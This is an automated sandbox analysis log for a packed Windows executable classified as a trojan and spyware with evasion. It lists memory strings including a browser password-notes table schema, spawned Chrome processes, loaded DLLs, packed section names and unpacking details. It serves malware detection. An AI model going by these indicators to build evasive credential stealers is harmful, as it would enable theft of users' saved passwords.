Source: file.exe, 00000000.00000003.2398240574.00000000058E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455935786.0000000000C3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2391015559.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407382741.00000000059F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417414042.0000000005921000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2432793775.000000000596D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394785947.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393792956.00000000058C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393619610.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2563836001.0000000000C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2391871352.000000000580F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2412476558.0000000005A31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2430617714.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2546169911.0000000000C2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2392148075.0000000005811000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408816709.0000000005805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2428255014.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2418125712.000000000592F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394890739.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2431248209.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391248563.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2426419538.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2429215509.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395350309.00000000058E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395000680.00000000058CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2418359992.0000000005803000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398963501.0000000005806000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392039736.00000000058AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396041360.00000000059B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391101811.000000000566A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402596493.000000000580E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394321402.0000000005807000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2431913673.0000000005AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2399691820.00000000058F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395231499.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2421053272.0000000005805000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409150317.000000000590F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405087152.00000000058F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2425780741.000000000593E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2421769549.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455935786.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2424760041.000000000594E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397160501.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417932136.000000000580A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392516995.00000000058AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392913429.0000000005807000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2418805137.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2426914943.0000000005810000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393153436.0000000005803000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407806966.0000000005906000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408456428.0000000005806000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396401191.0000000005809000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2410275543.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2423531599.000000000593A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2418590413.000000000592D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2424414088.0000000005808000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2419654565.0000000005927000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2425337861.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395587441.00000000058D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408282886.0000000005911000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2409408607.0000000005A1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394574485.000000000597E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2422809782.0000000005806000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2544849542.0000000005363000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394005024.000000000580E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396764377.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391403903.0000000005667000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397562274.0000000005808000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2402005087.00000000058FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394174545.00000000058C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397961334.0000000005811000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2408045240.0000000005808000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2417767259.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407554544.000000000580C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2415688749.0000000005806000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392716081.000000000594F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2406645222.0000000005807000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2404103831.0000000005901000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393359665.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391593380.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2419422891.0000000005804000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2407185353.00000000058FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2400561699.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2405725894.00000000059F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2419155019.000000000592F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2403085428.00000000058FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455603131.00000000053C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397830696.00000000058E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2567501189.0000000005BB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2401290759.000000000580D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9973958333333334
Source: file.exe	Static PE information: Section: ffvhfheu ZLIB complexity 0.9945565243393074

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2260200483.0000000005398000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2273698742.0000000005386000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260430305.000000000537A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2273900319.0000000000C44000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,14799726461208701850,5015195389532217883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1136 --field-trial-handle=1984,i,5282008535035960961,1957362739871004038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,14799726461208701850,5015195389532217883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1136 --field-trial-handle=1984,i,5282008535035960961,1957362739871004038,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1855488 > 1048576

Source: file.exe

Static PE information: Raw size of ffvhfheu is bigger than: 0x100000 < 0x19b800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ffvhfheu:EW;vhlwdbpf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ffvhfheu:EW;vhlwdbpf:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cdc94 should be: 0x1cbe6e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ffvhfheu
Source: file.exe	Static PE information: section name: vhlwdbpf
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DF00 push ebx; iretd	0_3_0536DF01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0536DD7A push ecx; retf	0_3_0536DDA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053733A9 pushad ; ret	0_3_053733AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_053734F7 pushad ; ret	0_3_053734FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373BDA push ds; ret	0_3_05373C1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373BDA push ds; ret	0_3_05373C1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_05373BDA push ds; ret	0_3_05373C1A
